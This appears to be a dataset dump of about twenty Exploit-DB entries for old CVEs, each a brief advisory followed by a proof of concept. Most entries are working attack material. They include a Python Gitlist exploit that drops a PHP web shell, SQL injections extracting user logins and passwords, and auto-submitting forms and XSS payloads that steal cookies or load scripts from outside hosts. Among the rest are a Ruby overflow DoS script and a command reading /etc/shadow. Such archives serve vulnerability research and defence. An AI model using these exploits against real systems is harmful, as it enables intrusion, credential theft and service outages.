QLWD/code_shield huggingface dataset:
标题: PHP 5.3.x < 5.3.2 - 'ext/phar/stream.c' / 'ext/phar/dirstream.c' Multiple Format String Vulnerabilities EDB-ID: 33988 CVE: 2010-2094 类型: REMOTE 平台: PHP 发布日期: 2010-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/40173/info


PHP is prone to multiple format-string vulnerabilities because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers can exploit these issues to run arbitrary code within the context of the PHP process. This may allow them to bypass intended security restrictions or gain elevated privileges.

PHP 5.3 through 5.3.2 are vulnerable. 

$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');" URL: https://www.exploit-db.com/exploits/33988
标题: Frog CMS 0.9.5 - Arbitrary File Upload EDB-ID: 33983 CVE: 2014-4912 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-06 漏洞利用脚本: Exploit Title: Arbitrary File Upload in Frog CMS 0.9.5
Date : 2014-07-07
Exploit Author : Javid Hussain
Vendor Homepage : http://www.madebyfrog.com

# Exploit-DB Note: All authenticated users can upload files. If the file 
# does not have execute permissions the CMS allows users to change them.
# No need to be authenticated to trigger uploaded files.

There is a possibility to upload arbitrary file in Frog CMS latest version
0.9.5

POC:

The vulnerability exist because of the filemanager plugin is not properly
verifying the extension of uploaded files.

Go to     http://localhost/frog_095/admin/?/plugin/file_manager/images

Upload an executable php file

Go to     http://localhost/Frog/frog_095/public/images/

for verification. URL: https://www.exploit-db.com/exploits/33983
标题: TomatoCMS 2.0.x - SQL Injection EDB-ID: 33978 CVE: 2010-1994 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/40108/info

TomatoCMS is prone to a SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database or to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

TomatoCMS 2.0.6 and prior are vulnerable. 

http://www.example.com/news/search?q=sdf%22+ANY_SQL_HERE URL: https://www.exploit-db.com/exploits/33978
标题: Saurus CMS 4.7 - 'edit.php' Cross-Site Scripting EDB-ID: 33976 CVE: 2010-1997 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/40059/info

Saurus CMS is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Saurus CMS 4.7.0 Community Edition is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/edit.php" name="editForm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tab" value="object" />
<input type="hidden" name="op" value="new" />
<input type="hidden" name="op2" value="" />
<input type="hidden" name="refresh" value="0" />
<input type="hidden" name="tyyp_id" value="1" />
<input type="hidden" name="tyyp" value="rubriik" />
<input type="hidden" name="pearubriik" value="0" />
<input type="hidden" name="id" value="27746" />
<input type="hidden" name="parent_id" value="27270" />
<input type="hidden" name="previous_id" value="" />
<input type="hidden" name="keel" value="1" />
<input type="hidden" name="on_pealkiri" value="1" />
<input type="hidden" name="sorting" value="">
<input type="hidden" name="extension_path" value="" />
<input type="hidden" name="opener_location" value="" />
<input type="hidden" name="publish" value="1" />
<input name="permanent_parent_id" type="hidden" value="27270" />
<input name="sys_alias" type="hidden" value="" />
<input name="advanced_panel_state" type="hidden" value="0" />
<input type="hidden" name="pealkiri" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="friendly_url" value="scriptalertdocumentcookiescript" />
<input type="hidden" name="ttyyp_id" value="0" />
<input type="hidden" name="publish" value="1" />
<input type="hidden" name="rubriik[]" value="27270">
<input type="hidden" name="page_ttyyp_id" value="0" />
<input type="hidden" name="on_meilinglist" value="1" />
<input type="hidden" name="avaldamise_algus" value="" />
<input type="hidden" name="avaldamise_lopp" value="" />
<input type="hidden" name="kesk" value="0" />
</form>
<script>
document.editForm.submit();
</script> URL: https://www.exploit-db.com/exploits/33976
标题: Geo++ GNCASTER 1.4.0.7 - GET Denial of Service EDB-ID: 33965 CVE: 2010-0552 类型: DOS 平台: LINUX 发布日期: 2010-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/40009/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected. 

$ curl -i "http://www.example.com:1234/`perl -e 'printf "A"x988'`" URL: https://www.exploit-db.com/exploits/33965
标题: eFront 3.x - 'ask_chat.php' SQL Injection EDB-ID: 33969 CVE: 2010-1918 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/40032/info

eFront is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eFront 3.6.2 and prior versions are vulnerable. 

http://www.example.com/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x URL: https://www.exploit-db.com/exploits/33969
标题: Advanced Poll 2.0 - 'mysql_host' Cross-Site Scripting EDB-ID: 33972 CVE: 2010-2003 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/40045/info

Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced Poll 2.08 is vulnerable; other versions may also be affected. 

<form method="POST" action="http://www.example.com/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/33972
标题: gdomap - Multiple Local Information Disclosure Vulnerabilities EDB-ID: 33963 CVE: 2010-1457 类型: LOCAL 平台: LINUX 发布日期: 2010-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/40005/info

gdomap is prone to multiple local information-disclosure vulnerabilities.

Local attackers can exploit these issues to obtain sensitive information that may lead to further attacks. 

The following example commands are available:

$ gdomap -c /etc/shadow
$ gdomap -a /etc/shadow URL: https://www.exploit-db.com/exploits/33963
标题: Geo++ GNCASTER 1.4.0.7 NMEA-data - Denial of Service EDB-ID: 33966 CVE: 2010-0553 类型: DOS 平台: LINUX 发布日期: 2010-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/40015/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker with valid login credentials can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected. 

-------------------------------------------------------------------
#!/usr/bin/env ruby
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt () redteam-pentesting de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

require 'socket'
require 'base64'

if ARGV.length < 3 then
    puts "USAGE: %s host:port user:password stream" % __FILE__
    puts "Example: %s 127.0.0.1:2101 testuser:secret /0001" % __FILE__
    puts
    exit
end

host, port = ARGV[0].split(':')
pw, stream = ARGV[1..2]

begin
    puts "requesting stream %s" % stream.inspect
    sock = TCPSocket.new(host, port.to_i)
    sock.write("GET %s HTTP/1.1\r\n" % stream)
    sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
    sock.write("\r\n")

    response = sock.readline

    puts "server response: %s" % response.inspect

    puts "sending modified nmea data"
    sock.write("$GP" + "A" * 2000 +
        "GGA,134047.00,5005.40000000,N,00839.60000000," +
        "E,1,05,0.19,+00400,M,47.950,M,,*69\r\n")
    puts "done"
end
------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/33966
标题: Baidu Spark Browser 26.5.9999.3511 - Remote Stack Overflow (Denial of Service) EDB-ID: 33951 CVE: 2014-5349 类型: DOS 平台: WINDOWS 发布日期: 2014-07-02 漏洞利用脚本: <!--

Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow Vulnerability (DoS)


Vendor: Baidu, Inc.
Product web page: http://www.baidu.com
Affected version: 26.5.9999.3511

Summary: Spark Browser is a free Internet browser with very
sharp UIs and cool utilities. It's based on the Chromium
technology platform, giving it fast browsing capabilities.

Desc: Spark Browser version 26.5.9999.3511 allows remote
attackers to cause a denial of service (application crash)
resulting in stack overflow via nested calls to the window.print
javascript function.

-----------------------------------------------------------------

(153c.14f4): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000b0 ebx=003d0000 ecx=003d0000 edx=5000016b esi=00000000 edi=0000010c
eip=77e0decf esp=03d23000 ebp=03d230c4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
ntdll!memcpy+0xbb8f:
77e0decf 56              push    esi

-----------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5190
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5190.php


28.06.2014

-->


<html>
<title>Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow DoS PoC</title>
<body bgcolor="#50708C">
<center>
<p><font color="#e3e3e3">Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow DoS PoC</font></p>
<button onClick=crash()>Execute!</button>
</center>
<script>
function crash(){
 window.print();
 crash();
}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/33951
标题: Consona - 'n6plugindestructor.asp' Cross-Site Scripting EDB-ID: 33959 CVE: 2010-1905 类型: WEBAPPS 平台: ASP 发布日期: 2010-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/39999/info

Multiple Consona (formerly SupportSoft) products are prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials; other attacks are possible.

The following are vulnerable:
Consona Live Assistance
Consona Dynamic Agent
Consona Subscriber Assistance 

http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=";}</script><script src="http://www.example.org/pluginlicense.js" type="text/javascript"></script><script>RenderLicense();</script><script>function returnback(){ var cnfctl = new ActiveXObject("SdcUser.TgConfCtl"); cnfctl.WHATEVER();}</script><!--
http://www.example.com/sdccommon/verify/asp/n6plugindestructor.asp?backurl=</script><script src=http://www.example.org/evil.js></script><script>function returnback() {document.write(license);document.write(payload);}</script> URL: https://www.exploit-db.com/exploits/33959
标题: DeluxeBB 1.x - 'newpost.php' SQL Injection EDB-ID: 33945 CVE: 2010-1859 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/39962/info

DeluxeBB is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DeluxeBB 1.3 and earlier versions are vulnerable. 

The following example data is available:

membercookie=guest
memberid=xx',(select+concat(username,0x2e,pass)+from+deluxebb_users+limit+1),'none',0,0,0,0,0,'guest','1269081154')+--+x URL: https://www.exploit-db.com/exploits/33945
标题: kloNews 2.0 - 'cat.php' Cross-Site Scripting EDB-ID: 33957 CVE: 2010-1112 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/39987/info

kloNews is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

kloNews 2.0 is vulnerable; other versions may also be affected.

http://wwww.example.com/cat.php?cat=&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/33957
标题: Kerio Control 8.3.1 - Blind SQL Injection EDB-ID: 33954 CVE: 2014-3857 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-02 漏洞利用脚本: Document Title: 
======================
Kerio Control <= 8.3.1 Boolean-based blind SQL Injection

Primary Informations:
======================

Product Name: Kerio Control
Software Description: Kerio Control brings together multiple capabilities 
 including a network firewall and router, intrusion detection and 
 prevention (IPS), gateway anti-virus, VPN and content filtering. These 
 comprehensive capabilities and unmatched deployment flexibility make 
 Kerio Control the ideal choice for small and mid-sized businesses.
Affected Version: Latest Version - 8.3.1 (released on 2014-05-20)
Vendor Website: http://kerio.com
Vulnerability Type: Boolean-based blind SQL Injection
Severity Level: Very High
Exploitation Technique: Remote
CVE-ID: CVE-2014-3857
Discovered By: Khashayar Fereidani
Main Reference: http://fereidani.com/articles/show/76_kerio_control_8_3_1_boolean_based_blind_sql_injection
Researcher's Websites: http://fereidani.com http://fereidani.ir
                       http://und3rfl0w.com http://ircrash.com
Researcher's Email: info [ a t ] fereidani [ d o t ] com


Technical Details:
=======================

Kerio Control suffers from a SQL Injection Vulnerability which can lead to gain users 
 sensitive informations like passwords , to use this vulnerability attacker need a 
 valid client username and password .

Vulnerable path: /print.php
Vulnerable variables: x_16 and x_17
HTTP Method: GET

Proof Of Concept:
=======================

Blind Test:
 TRUE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=1&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l
 FALSE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=2&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l
 

Solution:
========================
Valid escaping variables or type checking for integer


Exploit:
========================
Private


Vulnerability Disclosure Timeline:
==================================
May 30 2014 - Disclosure 
May 31 2014 - Received a CVE ID
May 31 2014 - Initial Report to Kerio Security Team
June 3 2014 - Support team replied fix is planned to be included in a future release
June 30 2014 - Patched
July 1 2014 - Publication


                                           Khashayar Fereidani - http://fereidani.com URL: https://www.exploit-db.com/exploits/33954
标题: VMware View 3.1.x - URL Processing Cross-Site Scripting EDB-ID: 33940 CVE: 2010-1143 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/39949/info

VMware View is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects VMware View versions prior to 3.1.3. 

http://www.example.com/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT> URL: https://www.exploit-db.com/exploits/33940
标题: Sterlite SAM300 AX Router - 'Stat_Radio' Cross-Site Scripting EDB-ID: 33938 CVE: 2010-0607 类型: REMOTE 平台: HARDWARE 发布日期: 2010-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/39928/info

The Sterlite SAM300 AX Router is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

*+POST Request+*

POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7)
Gecko/20091221 Firefox/3.5.7 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/status/status_statistics.htm
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-length: 101

*+POST Parameters+*

Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org
%2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH

*+Impact+* URL: https://www.exploit-db.com/exploits/33938
标题: Gitlist 0.4.0 - Remote Code Execution EDB-ID: 33929 CVE: 2014-5023 2014-4511 2013-7392 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-06-30 漏洞利用脚本: from commands import getoutput
import urllib
import sys

""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out URL: https://www.exploit-db.com/exploits/33929
标题: ecoCMS 18.4.2010 - 'admin.php' Cross-Site Scripting EDB-ID: 33925 CVE: 2010-5046 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/39901/info

ecoCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ecoCMS 18.04.2010 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin.php?p=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/33925
标题: PHP 5.3 - 'PHP_dechunk()' HTTP Chunked Encoding Integer Overflow EDB-ID: 33920 CVE: 2010-1866 类型: REMOTE 平台: PHP 发布日期: 2010-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/39877/info

PHP is prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the PHP process. Failed exploit attempts will result in a denial-of-service condition.

PHP 5.3.0 through 5.3.2 are vulnerable; other versions may also be affected.

<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?> URL: https://www.exploit-db.com/exploits/33920
标题: Billwerx RC5.2.2 PL2 - 'primary_number' SQL Injection EDB-ID: 33917 CVE: 2010-1741 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/39867/info

Billwerx is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Billwerx RC5.2.2 PL2 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/billwerx_rc522_pl2/request_account.php?campaign_id=1&group_id=6&interest_id=6&first_name=indoushka&last_name=indoushka&company_name=indoushka&home_number=indoushka&get_primary=indoushka&work_number=indoushka&mobile_number=indoushka&email_address=indoushka&comments=indoushka&request=REQUEST&close=CLOSE&primary_number=' [(SQL)] URL: https://www.exploit-db.com/exploits/33917